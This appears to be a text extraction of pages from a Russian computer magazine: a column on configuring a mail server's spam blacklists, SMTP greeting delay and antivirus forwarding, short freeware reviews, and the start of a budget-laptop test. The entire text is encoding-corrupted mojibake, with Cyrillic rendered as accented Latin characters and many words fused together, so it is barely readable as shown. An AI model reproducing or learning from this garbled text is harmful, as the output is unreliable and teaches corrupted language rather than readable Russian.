ëþáîãî âõîäÿùåãî ñïàìåðñêîãîïèñüìà òû âûòàñêèâàåøü IP-àäðåñìàøèíû, ïîñëàâøåé ýòî ïèñüìî,è çàíîñèøü åãî â ñâîþ ãðóïïó«Span&Virus». È âñå, ïî÷òîâèê ñáðàñûâàåòýòè ïèñüìà è òåáÿ íå òðîãàåò.Åñëè òâîÿ êîíòîðà íå îáùàåòñÿñ àäðåñàòàìè èç-çà ãðàíèöû, òîìîæíî îòðåçàòü öåëûå ñòðàíû. Íàïðèìåð,àäðåñ, êîòîðûé ìû ïåðâûìçàíåñëè â ñïèñîê, ïðèíàäëåæèò Òàéâàíþ.Ìåòîäèêà ïîèñêà òàêîâà: çàïèñàëàäðåñ ñïàì-ìàøèíû, çàëåçâ èíòåðíåò íà ïîèñêîâèê, íàïðèìåðwww.whoisinform.ru, âûáðàë èç ñïèñêà«Ïîèñê èíôîðìàöèè îá IP-àäðåñå»,ââåë â ïîëå àäðåñ è íàæàë «Íàéòè». îòâåò ïîëó÷èë èíôó î òîì, êàêîéñåòè ïðèíàäëåæèò äàííàÿ ìàøèíà,è èíôó î ðàçìåðå ñåòè.  íàøåìñëó÷àå ýòî àäðåñà â äèàïàçîíå61.216.0.0 — 61.219.255.255. Íèêòîòåáå íå ìåøàåò îòðåçàòü âñþ ýòóñåòü.  ñïèñêå IP-àäðåñîâ ñîçäàåøüçàïèñü òèïà «Äèàïàçîí àäðåñîâ» —è ïðîùàé ïåðåïèñêà ñ Òàéâàíåì. Òåïåðüïåðåõîäèì ñðàçó íà çàêëàäêó«Ñðåäñòâî çàùèòû îò ñïàìà». Îòìå-÷àåì ãàëî÷êîé «Çàäåðæàòü ïðèâåòñòâèåSMTP íà 25 ñåê.», âûáèðàåìâ ïîëå «Íå ïðèìåíÿòü çàäåðæêóäëÿ ñîåäèíåíèé îò LAN.Äàííîå äåéñòâèå ïîçâîëèò îòáèòüíåêîòîðîå êîëè÷åñòâî ñïàìà.Ïðèíöèï äåéñòâèÿ òàêîé: â ìîìåíòóñòàíîâêè ñîåäèíåíèÿ è îáìåíà èíôîðìàöèåéìåæäó SMTP-ñåðâåðàìè,ñóùåñòâóåò òàéì-àóò íà îòâåò ñåðâåðàíà ïðèâåòñòâèå. ×òî-òî îêîëî 30ñåêóíä. Ñïàìåðñêèå ïðîãðàììû íåìîãóò æäàòü òàê äîëãî, âåäü èì íóæíîîòñûëàòü ñîòíè òûñÿ÷ ñîîáùåíèéè òàéì-àóò îæèäàíèÿ îòâåòà ó íèõî÷åíü ìàëåíüêèé. Òàêèì îáðàçîì,âûñòàâëÿÿ çíà÷åíèå çàäåðæêè ïðèâåòñòâèÿ,ìû ýòèõ òîðîïûã îòñåêàåì.Åäèíñòâåííàÿ òðóäíîñòü, òàéì-àóòçàäåðæêè ïðèâåòñòâèÿ íå äîëæåíáûòü ñèëüíî áîëüøèì, äàáû íå îòñå÷üè íîðìàëüíûå ñåðâåðû.Ñî ñïàìîì ðàçîáðàëèñü, ïåðåõîäèìâ çàêëàäêó «Ôèëüòð ñîäåðæèìîãî»!«Àíòèâèðóñ».Åñëè òû ïðèîáðåë ïî÷òîâûéñåðâåð ñî âñòðîåííûì àíòèâèðóñîì,òî â ýòîé çàêëàäêå òû íàñòðàèâàåøüñàì àíòèâèðóñ è åãî äåéñòâèÿ ñ çàðàæåííûìïèñüìîì. Âñå ìîæíî îñòàâèòüïî óìîë÷àíèþ, çà îäíèì èñêëþ÷åíèåì.Òåáå íåîáõîäèìî ñîçäàòüàäìèíñêèé ïî÷òîâûé ÿùèê, íà êîòîðûéáóäóò ñûïàòüñÿ âñå ïèñüìà, äîñòàâëåííûåè íå äîñòàâëåííûå òâîèìþçåðàì. Ïðèäóìàé ñåáå òàêîé ÿùèê.Òåïåðü â ïîëå «Åñëè â ñîîáùåíèèîáíàðóæåí âèðóñ» â äîïîëíåíèåê îòìå÷åííîìó ãàëî÷êîé ïîëþ «Óäàëèòüñîîáùåíèå» îòìåòü åùå è «Ïåðåàäðåñîâàòüèñõîäíîå ñîîáùåíèåàäìèíèñòðàòîðó» è ââåäè ñþäà ñâîéàäìèíñêèé ÿùèê. Áûâàåò, ÷òî íåêîòîðûåñîîáùåíèÿ àíòèâèðóñ íå ìîæåòïðîâåðèòü, ïðèíèìàåò èõ çà íåçíàêîìûéâèðóñ è óäàëÿåò. Âîò åñëèòàêîå ïðîèçîøëî, à ïèñüìî íà ñàìîìäåëå áûëî íóæíûì, òî ïî÷òîâûéñåðâåð îòïðàâèò ïîëüçîâàòåëþñîîáùåíèå îá óäàëåííîì ïèñüìå,à ñàìî ïèñüìî ïðèäåò íà òâîé àäìèíñêèéÿùèê, è òû âñåãäà ñìîæåøüÍàñòðîéêà «÷åðíûõ ñïèñêîâ»âåðíóòü åãî þçåðó. Åäèíñòâåííûéíåäîñòàòîê âñåãî ýòîãî — ïèñüìàñ âèðÿìè áóäóò ïðèõîäèòü íà òâîéàäìèíñêèé ÿùèê íå âûëå÷åííûìè.Òàê ÷òî çàùèùàéñÿ!Âñå òî æå ñàìîå ïðîäåëàéè â çàêëàäêå «Ôèëüòð ñîäåðæèìîãî»!«Ôèëüòð âëîæåíèé». Çäåñü îòìå÷àåøüãàëî÷êîé «Âêëþ÷èòüôèëüòð âëîæåíèé», ïðîñìàòðèâàåøüïðåäëàãàåìûé òåáå ñïèñîê âëîæåíèé,îñòàâëÿåøü â íåì íåîáõîäèìûåäëÿ êîíòðîëÿ è ïåðåíàïðàâëÿåøüñîîáùåíèÿ ñ âëîæåíèÿìè íà ñâîéàäìèíñêèé ÿùèê. Òåïåðü, åñëè ïîëüçîâàòåëþïðèäåò ïèñüìî ñ íåäîïóñòèìûìâëîæåíèåì, ïî÷òîâèêýòî âëîæåíèå âûðåæåò è îòïðàâèòþçåðó ïðåäóïðåæäåíèå, à òåáåíà àäìèíñêèé ÿùèê ïðèäåò ýòî æåïèñüìî ñ íåòðîíóòûì âëîæåíèåì.Åñëè îíî áóäåò íåîáõîäèìî,òû âñåãäà âåðíåøü åãî þçåðó. ñëåäóþùèé ðàç ìû ïðîäîëæèìêîâûðÿòü íàøå ìûëîÑîçäàíèå ó÷åòíîé çàïèñè95 |


ÎÔÔÒÎÏÈÊsoftóòèëèòûÏÎÄÁÎÐÊÀ ÑÂÅÆÈÕ ÏÐÎÃÐÀÌÌ ÎÒ ÑÏÅÖÀÞ Ð È É Í À Ó Ì Î ÂConsole 2.00.127sourceforge.net/projects/consoleFreewareÂîò óæ ÷òî-÷òî, à íîðìàëüíóþ êîíñîëü (ñòàíäàðòíóþ Windowsâî âíèìàíèå íå áðàòü) ÿ èñêàë óæå î÷åíü äàâíî. Êîíñîëü — ìåãàóäîáíàÿâåùü â íåïðåðûâíîì ïðîöåññå ðàáîòû ïîä âèíäîé. Âñåãäàõîòåëîñü, ÷òîáû îíà áûëà êðàñèâàÿ è óäîáíàÿ, à ãëàâíîå —íå óñòóïàëà â ïðîèçâîäèòåëüíîñòè cmd. Åñëè ïåðâûì äâóì ôàêòîðàìóäîâëåòâîðÿë ïðàêòè÷åñêè ëþáîé ïðîäóêò (à èõ íà ñàìîì äåëå íå òàê óæ ìíîãî), òî õîðîøåéðåàëèçàöèåé òðåòüåãî ïðàêòè÷åñêè íèêòî íå ìîã ïîõâàñòàòüñÿ. È âîò ìíå íà ãëàçà ïîïàëàñü êîíñîëüêà— ïðîåêò íà sourceforge.net. Îòëè÷íûé ðåëèç óñîâåðøåíñòâîâàííîé ñòàíäàðòíîé êîíñîëè Windows!Àâòîð ñìîã ñîâìåñòèòü ïðîñòîòó, êðàñîòó è óäîáñòâî îáîëî÷êè äëÿ êîìàíäíûõ èíòåðïðåòàòîðîâ(cmd, bash, etc) àáñîëþòíî áåç ïîòåðè ïðîèçâîäèòåëüíîñòè.  êà÷åñòâå äîñòîèíñòâ êîíñîëè ìîãóîòìåòèòü çàêëàäêè (âîçìîæíîñòü ðàáîòàòü ñðàçó ñ íåñêîëüêèìè êîíñîëÿìè îäíîâðåìåííî), âèçóàëüíûåðåøåíèÿ (ãèáêàÿ íàñòðîéêà ôîíîâ, öâåòîâ, øðèôòà), âîçìîæíîñòü âûäåëåíèÿ òåêñòà (êàê âáëîêíîòå). Êîíñîëü íå òðåáóåò óñòàíîâêè è ÿâëÿåòñÿ portable software.Audacity 1.2.6audacity.sourceforge.netFreewareÅùå îäèí ïðîåêò ïîä êðûëûøêîì sourceforge.net — ïðîñòîéâ èñïîëüçîâàíèè çâóêîâîé ðåäàêòîð. Audacity ìíîãîïëàíåí,ìîæåò èñïîëüçîâàòüñÿ äëÿ çàïèñè çâóêà, îöèôðîâêè èíôîðìàöèèñ àíàëîãîâûõ íîñèòåëåé (íàïðèìåð, ñòàðûõ äîáðûõâèíèëîâ), ðåäàêòèðîâàíèÿ â ðàçëè÷íûõ ôîðìàòàõ (wav, mp3,ogg): âûðåçàíèÿ, ñâåäåíèÿ, ñêëåèâàíèÿ, èçìåíåíèÿ âûñîòûòîíà è ñêîðîñòè çàïèñè.  ëþáîé ìîìåíò â Audacity ìîæíîäîáàâèòü íîâûå äîïîëíèòåëüíûå ïðèìî÷êè(â òîì ÷èñëå VST-ìîäóëè), — ïðîñòîñëèòü èõ ñ ñàéòà ïðîåêòà, è äàæå ñîçäàâàòüñîáñòâåííûå ýôôåêòû íà ïðîñòîìâñòðîåííîì ÿçûêå. Audacity — êðîññïëàòôîðìåííûéçâóêîâîé ðåäàêòîð, ðàáîòàþùèéêàê ïîä Windows, òàê è ïîäMac OS X, GNU/Linux è íåêîòîðûõ Unix.Ïîìèìî ñòàáèëüíîé âåðñèè íà ñàéòå åñòüäîñòóï ê ñâåæåé áåòå 1.3.2.Advanced VistaCodec Package 4.2.0msfn.orgFreewareÏåðåõîä íà Windows Vista íåèçáåæåí, åñëè,êîíå÷íî, íå ñëó÷èòñÿ íè÷åãî ñâåðõúåñòåñòâåííîãî.À çíà÷èò, è ìíîãèå èíñòðóìåíòûïîâñåäíåâíîãî ïîëüçîâàíèÿ äîëæíû ïåðåêî÷åâàòü â ñâåæóþñðåäó. Ïðåäëàãàþ òåáå óíèâåðñàëüíûé íàáîð êîäåêîâ,ñîâìåñòèìûé êàê ñ Windows XP, òàê è ñ íîâîé Âèñòîé. Àâòîðïîñòàðàëñÿ íà ñëàâó: â ñîñòàâ ïàêåòà âõîäèò âñå íåîáõîäèìîåäëÿ ïîëó÷åíèÿ ìàêñèìàëüíîãî óäîâîëüñòâèÿ îò ïðîñìîòðàôèëüìîâ è ïðîñëóøèâàíèÿ ìóçûêè.  òî æå âðåìÿ â ñïèñêåîòñóòñòâóþò ñîâåðøåííî íåíóæíûå âåùè: íåò íè âñòðîåííîãîìåäèàïðîèãðûâàòåëÿ, íè áåñïîëåçíûõ èíñòðóìåíòîâè ïðîôàéëîâ.  íîâîé âåðñèè ðàçðàáîò÷èêè äîáèëèñü ìàêñèìàëüíîéïðîèçâîäèòåëüíîñòè ïðè ïðàêòè÷åñêè ïîëíîì îòñóòñòâèèêîíôëèêòîâ ìåæäó óñòàíîâëåííûìè êîìïîíåíòàìè.NoClone EnterpriseEdition 4noclone.netSharewareÄëÿ îáëàäàòåëåé «íåñêîëüêîñîòåíãèãàáàéòíûõ»íîñèòåëåé èíôîðìàöèè,äëÿ òåõ, êòî óñòàë ñëåäèòüçà íåèçâåñòíî êóäà èñ÷åçíóâøèìñâîáîäíûì ìåñòîì è ïðîñòîäëÿ ëþáÿùèõ ïîðÿäîê íà ñâîåìâèíòå… Äîâîëüíî ñâåæèé èíñòðóìåíòäëÿ ãëîáàëüíîãî îáíàðóæåíèÿëþáûõ äóáëèêàòîâ ôàéëîâíà òâîåì æåñòêîì äèñêå.NoClone ïðåäëîæèò íåñêîëüêî ðåæèìîâóáîðêè: ïðîâåäåíèå ïîáàéòîâîãî(çàìåòü, íå ïî CRC) ñðàâíåíèÿ,ïîèñê ïî íàçâàíèÿì èëèïðîñòî ïî ñõîæåñòè, â çàâèñèìîñòèîò æåëàåìîãî óðîâíÿ î÷èñòêèæèçíåííî âàæíîãî ïðîñòðàíñòâà.Äîñòàòî÷íî âûñîêàÿ ñêîðîñòü ïîèñêà,ãèáêàÿ íàñòðîéêà öåëåâûõôàéëîâ è ìàñêè, âîçìîæíîñòüñîõðàíåíèÿ è çàãðóçêè ñåññèè —âñå ýòè äîñòîèíñòâà ïåðåìåñòèëèäèñòðèáóòèâ â ïàïêó èçáðàííûõó ìåíÿ íà äèñêå. Íàäåþñü, òåáåòîæå ïîíðàâèòñÿ.


Vista Manager 1.0.3winxp-manager.com/vistamanagerSharewareÏðîäîëæàÿ òåìó ñòðåìèòåëüíî íàñòóïàþùåé Windows Vista, õî÷ó ïðåäëîæèòüòåáå ïåðâûé äîâîëüíî ôóíêöèîíàëüíûé èíñòðóìåíò äëÿ ãèáêîé íàñòðîéêè ýòîãîïðîäóêòà Microsoft. Ðàçðàáîò÷èê òóëçû óæå èìååò îïûò ñîçäàíèÿ ïîäîáíûõ ïðîãðàìì— ïðåäûäóùèé åãî ïðîäóêò WinXP Manager äî ñèõ ïîð ïîëüçóåòñÿ èçðÿäíîéïîïóëÿðíîñòüþ. Ïî èíòåðôåéñó Vista Manager â òî÷íîñòè íàïîìèíàåò ñâîåãîñòàðøåãî áðàòà, à ïî ñîäåðæàíèþ âêëþ÷àåò â ñåáÿ îêîëî 20 ðàçëè÷íûõ óòèëèò,ðàçäåëåííûõ íà íåñêîëüêî êàòåãîðèé.  îñíîâíîì âîçìîæíîñòè ìåíåäæåðà àíàëîãè÷íûïðåäûäóùåìó ïðîäóêòó êîìïàíèè, äà è òâèêåðàì â îáùåì. Íî òàêèåóòèëèòû êàê èíäåêñèðîâàíèå ðååñòðà è ìàñòåð î÷èñòêè ñèñòåìû ìîãóò ïîñîðåâíîâàòüñÿ â êà÷åñòâå ñ ïîäîáíûìèñèñòåìíûìè ïðîãðàììàìè.  íîâîé âåðñèè äîáàâëåíà âîçìîæíîñòü ðåçåðâíîãî êîïèðîâàíèÿ ýëåêòðîííîé ïî÷òû,à òàêæå îáíîâëåíû íåêîòîðûå ñèñòåìíûå ìîäóëè. Vista Manager ðàáîòàåò âî âñåõ âåðñèÿõ Windows Vista è èñïîëüçóåò.NET Framework, óæå âñòðîåííûé â ÎÑ.Portable AnyReader 1.9.55anyreader.com/ru/SharewareÎ÷åíü äàæå íåïëîõîé èíñòðóìåíò äëÿ êîïèðîâàíèÿ äàííûõ ñ òðóäíî÷èòàåìûõíîñèòåëåé: CD/DVD-äèñêè, Flash, HDD, ZIP, ñåòåé LAN, WirelessLAN, Bluetooth. Ïðîãðàììà áåç ïðîáëåì ïåðåâàðèòîøèáêè, âîçíèêøèå ïðè ÷òåíèè èëè êîïèðîâàíèèäàííûõ, à òàêæå ïîòåðþ ñîåäèíåíèÿ.Ñ ïîìîùüþ AnyReader ìîæíî íå òîëüêîñ÷èòàòü äàííûå ñ ïîâðåæäåííûõ íîñèòåëåé,íî è êîïèðîâàòü èíôîðìàöèþ âíóòðè íåñòàáèëüíîéñåòè.  íàñòðîéêå ïðîãðàììû óêàçûâàåòñÿêîëè÷åñòâî ïîïûòîê íà ÷òåíèå, ÷òî ïîìîãàåòðàáîòàòü ñ èíôîðìàöèåé ðàçíîé ñòåïåíèïîâðåæäåííîñòè. Îãðîìíûì ïëþñîì ïðîãðàììû,êîíå÷íî, ÿâëÿåòñÿ ïîðòàòèâíîñòü —ïðåêðàñíî ïîäîéäåò â êà÷åñòâå ïîäðó÷íîãî èíñòðóìåíòàíà ôëåøêå. Èìååò ïðîñòîé èíòåðôåéñ,äîâîëüíî ïîëíóþ èíôîðìàöèþ ïî ðàáîòåè ïîääåðæèâàåò ðóññêèé ÿçûê.Lazy SetupCD 1.5 Proautosetup.org.ruSharewareÒåáå íèêîãäà íå õîòåëîñüñîáðàòü è çàïèñàòüäèñê ñî ñâîèìëþáèìûì ñîôòîì,êîòîðûé òû êàæäûéðàç ñòàâèøü ñíîâàè ñíîâà ïîñëå î÷åðåäíîãîñíîñà Âèíäû?È íå ïðîñòî ñîñòàâèòüñïèñîê êó÷èäèñòðèáóòèâîâ, õàîòè÷íîðàñêèäàííûõ ïî âñåìó ïðîñòðàíñòâó êîìïàêòà, à àâòîìàòèçèðîâàòüóñòàíîâêó ñâîåãî äîáðà è ñâåñòè ê ìèíèìóìó êîëè÷åñòâî íèê÷åìíûõ ìàíèïóëÿöèé.Ñ ïîìîùüþ Lazy Setup ìîæíî ñäåëàòü êàê ðàç òàêîé «CD àâòîìàòè÷åñêîéóñòàíîâêè» — íóæíî ëèøü óêàçàòü, êàêèå ïðîãðàììû ñëåäóåòóñòàíîâèòü, à ñàì ïðîöåññ èíñòàëëà Lazy Setup áåðåò íà ñåáÿ.Îíà ïîñëåäîâàòåëüíî çàïóñêàåò ôàéëû óñòàíîâêè, æìåò êíîïêè Nextè Yes, âûáèðàåò ýëåìåíòû, ââîäèò ñåðèéíèêè, ðàññòàâëÿåò ãàëî÷êè «I Agree…»:). Íàñòðîéêà âñåõ íåîáõîäèìûõ ìàíèïóëÿöèé ïðîèçâîäèòñÿ â àäìèíèñòðàòîðñêîé÷àñòè ïðîãðàììû, ãäå óêàçûâàþòñÿ êíîïêè/÷åêè/ïåðåêëþ÷àòåëè,êîòîðûå äîëæíû áûòü íàæàòû, ÷òî è êóäà äîëæíî áûòü ââåäåíîè ò.ï. Ïðîæèã óñòàíîâî÷íîãîêîìïàêòà âûïîëíÿåòñÿíåïîñðåäñòâåííîèç ïðîãðàììû. Òàêèì îáðàçîì,ðåàëüíî ñýêîíîìèòüíà óñòàíîâêå ñîôòàäî 75% ñâîåãî äðàãîöåííîãîâðåìåíè. Ïî êðàéíåéìåðå, òàê çàÿâëÿþò ðàçðàáîò÷èêè.ß èì âåðþ.Opera 9.10 Finalopera.comFreewareÝòîãî ó÷àñòíèêà ñåãîäíÿøíåãî îáçîðà,íàäåþñü, íå íàäî ïðåäñòàâëÿòü.Opera — äàâíî èçâåñòíûéèíñòðóìåíò äëÿ ñåðôèíãà ìèðîâîãîñåòåâîãî ïðîñòðàíñòâà — ïðî÷íîçàâîåâàë ïî÷òåíèå ïîëüçîâàòåëåé.Åãî ñðàâíèòåëüíî íåáîëüøèåðàçìåðû, ñêîðîñòü ðàáîòû èîáèëüíàÿ ïàëèòðà íàñòðîåê ïîçâîëÿþòñäåëàòü ïóòåøåñòâèå ïî Ñåòèìàêñèìàëüíî ýôôåêòèâíûì, óäîáíûìè áåçîïàñíûì.  Opera 9 áûëîïðåäñòàâëåíî îãðîìíîå ÷èñëîèííîâàöèé. Òåïåðü áðàóçåð âîîðóæåíäî çóáîâ: êëèåíò äëÿ p2p-ñåòåé,BitTorrent, ñòàíäàðòíûé ìåíåäæåðçàãðóçêè ôàéëîâ, irc-êëèåíò,rss-êëèåíò, ñèñòåìà âèäæåòîâ (÷òîòîâðîäå íåáîëüøèõ ïëàãèíîâ, íàïîäîáèåãàäæåòîâ â Windows Vista). ýòîé ôèíàëüíîé âåðñèè ðàçðàáîò÷èêèïîòðóäèëèñü íàä óëó÷øåíèåìñòàáèëüíîñòè ðàáîòûáðàóçåðà è ïðîèçâåëè ïîëîæèòåëüíûåèçìåíåíèÿ â Fraud Protection.Easy CD-DAExtractor 10.0.3poikosoft.comSharewareÏîñëåäíÿÿ íà ñåãîäíÿøíèé äåíüâåðñèÿ íåñîìíåííî ëó÷øåãî àóäèî-ðèïïåðà.Ýòà ïðîãðàììà ïîçâîëÿåòçíà÷èòåëüíî óïðîñòèòüïðîöåññ êîïèðîâàíèÿ audioCDâ äðóãèå ôîðìàòû (mp3, wma,ogg, mp4, m4a, aac, FLAC, Musepack,vqf, wav, aiff è Monkey'sAudio) ñ îáõîäîì çàùèòû îò êîïèðîâàíèÿ,ñïîñîáíîñòüþ ðàáîòûñ ïîâðåæäåííûìè äèñêàìèè ïîääåðæêîé òåõíîëîãèè BURN-Proof. Òàêèì æå îáðàçîì îñóùåñòâëÿåòñÿè çàïèñü audioCDñ óêàçàííûõ ôîðìàòîâ, à òàêæåêîíâåðòàöèÿ ïîääåðæèâàåìûõôîðìàòîâ ìåæäó ñîáîé.  ïðîãðàììóâñòðîåí ïëååð ñ ïîääåðæêîéID3, à â íîâîé âåðñèè— è ID3V2-òåãîâ. Êñòàòè,ðàçðàáîò÷èêè ïðåäñòàâèëè ïîëíóþïîääåðæêó UNICODE, óëó÷øèëèíîðìàëèçàöèþ çâóêà, áûñòðîäåéñòâèåè èíòåðôåéñ. Ðèïïåðäîñòóïåí áîëåå ÷åì íà 30ÿçûêàõ, â òîì ÷èñëå è íà âåëèêîìè ìîãó÷åì.Mudbox 1.0 Finalmudbox3d.comSharewareÏðîäóêò ñîâìåñòíûõ òðóäîâ ïðîôåññèîíàëüíûõ ïðîãðàììèñòîâ, îïûòíûõ3D-õóäîæíèêîâ è èçâåñòíûõ ðàçðàáîò÷èêîâ èãð — ïðîãðàììà äëÿ ñîçäàíèÿêà÷åñòâåííûõ ìîäåëåé ñ âûñîêîé äåòàëèçàöèåé. Ïîêà èíôîðìàöèèî ïðîåêòå íåìíîãî, íî, íåñîìíåííî, åãî ðàçðàáîòêà áóäåò âåñòèñü è â áóäóùåì.Êàòàëèçàòîðîì ýòîìó ñëóæèò íåìàëàÿ çàèíòåðåñîâàííîñòüèçâåñòíûõ ëþäåé â îáëàñòè 3D-ìîäåëèðîâàíèÿè ðàçðàáîòêè èãð. Ñðåäè îñîáåííîñòåé Mudbox îòìå÷àåòñÿìàêñèìàëüíî áîëüøàÿ ðàáî÷àÿ îáëàñòü, óäîáíûå èíñòðóìåíòû.3D-ñëîè è èõ ìàñêè ñîçäàíû íà îñíîâå ðåàëèçàöèè ñëîåââ Photoshop: êîïèðîâàíèå, îáúåäèíåíèå, ãðóïïèðîâêà ïðîèçâîäèòñÿïîõîæå. Ñìåþ ïðåäïîëîæèòü — ó ïðîåêòà áîëüøîåáóäóùåå. À ïîêà åñòü âîçìîæíîñòü îçíàêîìèòüñÿ ñ ïåðâîéôèíàëüíîé âåðñèåé.97 |


ÎÔÔÒÎÏÈÊhardÄîñòóïíàÿ ìîáèëüíîñòüÒÅÑÒÈÐÓÅÌ ÍÅÄÎÐÎÃÈÅ ÍÎÓÒÁÓÊÈÑ Å Ð Ã Å É Í È Ê È Ò È Íòåõíîëîãèè.  ñîâðåìåííûõ äåøåâûõ íîóòáóêàõ íàèáîëåå ÷àñòîâñòðå÷àþòñÿ âñòðîåííûå âèäåîàäàïòåðû, êîòîðûå íå ñïîñîáíû íà âûñîêóþïðîèçâîäèòåëüíîñòü — ýòî íå ïîçâîëÿåò íà òàêèõ ëýïòîïàõ íàñëàæäàòüñÿòðåáîâàòåëüíûìè ê ãðàôèêå èãðàìè. Äà è îáùàÿ ïðîèçâîäèòåëüíîñòü,êàê ìû è ãîâîðèëè âûøå, è êàê ïîêàçûâàþò òåñòû, ïàäàåò. Âòîðîéïðîáëåìîé âûñòóïàåò ìàëîå âðåìÿ àâòîíîìíîé ðàáîòû. Íåêîòîðûå óñòðîéñòâàíå ñìîãëè â ñâÿçè ñ ýòèì ïðîéòè â ðåæèìå àâòîíîìíîé ðàáîòûòåñò PCMark 2005, çàðÿä â áàòàðåå ïðîñòî çàêàí÷èâàëñÿ ðàíüøå, ÷åì ñàìòåñò. Ïîýòîìó åñëè òû ïëàíèðóåøü ðàáîòàòü â äîðîãå, òî îáðàòè íà ýòîòïàðàìåòð ñàìîå òùàòåëüíîå âíèìàíèå! Ê íåîñïîðèìûì ïëþñàì òàêèõ äåâàéñîâîòíîñÿòñÿ ñèëüíûå îñíîâíûå êîìïîíåíòû (äâóÿäåðíûå ïðîöåññîðû,êîëè÷åñòâî ïàìÿòè, óíèâåðñàëüíûå îïòè÷åñêèå ïðèâîäû è ò.ä.) è íàëè÷èåâñåâîçìîæíûõ ñðåäñòâ ñâÿçè, âêëþ÷àÿ áåñïðîâîäíûå. Ê íåêîòîðûììîáèëüíûì ÏÊ ïðèêëàäûâàþòñÿ îáøèðíûå íàáîðû ôèðìåííîãî ïðîãðàììíîãîîáåñïå÷åíèÿ, êîòîðûå äåëàþò ðàáîòó óñòðîéñòâà áîëåå áûñòðîé,óäîáíîé è áåçîïàñíîé.ìåòîäèêà òåñòèðîâàíèÿ. ×òîáû âûÿñíèòü âñå ñàìûì òùàòåëüíûì îáðàçîì,ìû ðàçðàáîòàëè ñïåöèàëüíóþ ìåòîäèêó òåñòèðîâàíèÿ, êîòîðàÿ ó÷èòûâàåòâñå íþàíñû ðàáîòû ìîáèëüíûõ êîìïüþòåðîâ. Òåñòû ïðîâîäèëèñü â äâóõðåæèìàõ: ïðè ïèòàíèè îò ñåòè è ïðè àâòîíîìíîé ðàáîòå.  ñàìîì íà÷àëåñ ïîìîùüþ óòèëèòû Lavalys Everest ìû ïîëó÷àëè ïîäðîáíåéøóþ èíôîðìàöèþî ñèñòåìå. Çàîäíî çàïóñêàëñÿ âñòðîåííûé â íåå ìîíèòîðèíã òåìïåðàòóðûïðîöåññîðà, ÷èïñåòà è æåñòêîãî äèñêà. Ïîòîì, èñïîëüçóÿ óòèëèòû S&M(íàãðóçêà ïðîöåññîðà) è ThrottleWatch (ëîãèðóåò ÷àñòîòó ïðîöåññîðà, íàïðÿæåíèåè íåêîòîðûå äðóãèå ïàðàìåòðû), ìû âûÿñíÿëè ïðàâèëüíîñòü ðàáîòûäàííîãî ÏÊ ïî ñõåìàì ïèòàíèÿ Always On (ïðè ðàáîòå îò ñåòè) è Laptop (ïðèðàáîòå îò àêêóìóëÿòîðà). Äåëî â òîì, ÷òî åñëè îò ñåòè íîóòáóêè ðàáîòàþòíîðìàëüíî, òî â ðåæèìå Laptop îíè ìîãóò âåñòè ñåáÿ «íåïðàâèëüíî» —íå ñíèæàòü ÿðêîñòü ýêðàíà, íå ñáðàñûâàòü ÷àñòîòó ðàáîòû è íàïðÿæåíèåïðîöåññîðà, ÷òî íåãàòèâíî îòðàæàåòñÿ íà âðåìåíè ðàáîòû, è ðåçóëüòàòû òåñòîâïîëó÷àþòñÿ íåêîððåêòíûìè. Åñëè âñå áûëî íîðìàëüíî, çàïóñêàëñÿ òåñòîâûéêîìïëåêò: áåí÷ìàðêè 3DMark 2001 SE, 3DMark 2003, 3DMark 2003,PCMark 2004 è PCMark 2005. Ïðè ðàáîòå îò áàòàðåè ê íèì äîáàâëÿëàñü ïðîãðàììàBattery Eater, ïðè ïîìîùè êîòîðîé ìû îïðåäåëÿëè âðåìÿ àâòîíîìíîéðàáîòû óñòðîéñòâà. Òàêæå ñ ïîìîùüþ êîëîðèìåòðà è óòèëèòû OptiCAL ìûñòðîèëè êîëîðèìåòðè÷åñêóþ äèàãðàììó äèñïëåÿ.ACER TRAVELMATE4222 WLMI($1100) 6 áàëëîâÏÐÎÖÅÑÑÎÐ, ÃÃÖ: 1.66, Intel Core Duo T2300EÎÏÅÐÀÒÈÂÍÀß ÏÀÌßÒÜ, ÌÁ: 1024ÐÀÇÌÅÐ ÝÊÐÀÍÀ, ÄÌ: 15.4ÂÈÄÅÎÊÀÐÒÀ, ÌÁ: Intel GMA 950ÆÅÑÒÊÈÉ ÄÈÑÊ, ÃÁ: 80ÎÏÒÈ×ÅÑÊÈÉ ÏÐÈÂÎÄ: DVD+RW Super MultiÑÐ-ÂÀ ÑÂßÇÈ: ìîäåì, LAN, Bluetooth, Wi-FiÈÍÒÅÐÔÅÉÑÛ: USB, mic, ear, PC-Card, VGAÃÀÁÀÐÈÒÛ, ÌÌ: 364x274.75x30ÂÅÑ, ÊÃ: 2.95ïëþñû. Ñòèëüíî âûãëÿäÿùèéíîóòáóê îò êîìïàíèè Acer, îáëàäàþùèé,ê òîìó æå, êó÷åé ôèðìåííûõóòèëèò è òåõíîëîãèé, óëó÷øàþùèõðàáîòó âñåãî, ÷òî òîëüêî âîçìîæíî,è äåëàþùèõ åå óäîáíåå è áåçîïàñíåå.Ýêðàí ðàçìåðîì â 15.4" áîëüøîéè êà÷åñòâåííûé, öâåòà ÿðêèå,è, âîîáùå, — ðàáîòàòü çà íèì ïðèÿòíî. íàëè÷èè åñòü òàêæå âñòðîåííûåìèêðîôîí è web-êàìåðà. Êëàâèàòóðàìÿãêàÿ è ïðèÿòíàÿ, îáëàäàåòíåñêîëüêî íåîáû÷íîé ôîðìîé. Âíèçóòà÷ïàäà äîáàâëåíà êíîïêà-äæîéñòèêäëÿ óïðàâëåíèÿ êóðñîðîì —êîìó-òî íàâåðíÿêà ïðèäåòñÿ ïî äóøå.Ïðèÿòíî, ÷òî çà ýòèì êîìïîìòåáå íå ãðîçèò îäèíî÷åñòâî — ïîëíûéíàáîð ñðåäñòâ ñâÿçè ê òâîèìóñëóãàì (ìîäåì, LAN, Bluetooth,Wi-Fi). À äëÿ îáùåíèÿ ñ äðóãèìè íîñèòåëÿìèåñòü óíèâåðñàëüíûé îïòè-÷åñêèé ïðèâîä è êàðä-ðèäåð.ìèíóñû. Âïå÷àòëåíèå îò íåïëîõîé,â îáùåì, íà÷èíêå ïîðòèòâñòðîåííûé âèäåîàäàïòåð, êîòîðûéîïðåäåëåííî ìåøàåò ïîçíàòü âñåïðåëåñòè êà÷åñòâåííîãî ýêðàíà.Èìåííî èç-çà íåãî íîóòáóê íå ïðîøåëòåñòû 3DMark 2005 è 2006,äà è âîîáùå, ó÷èòûâàÿ êîíôèãóðàöèþâ öåëîì, ñòîëü íèçêèå ïîêàçàòåëèâ òåñòàõ — ýòî åãî ðàáîòà.


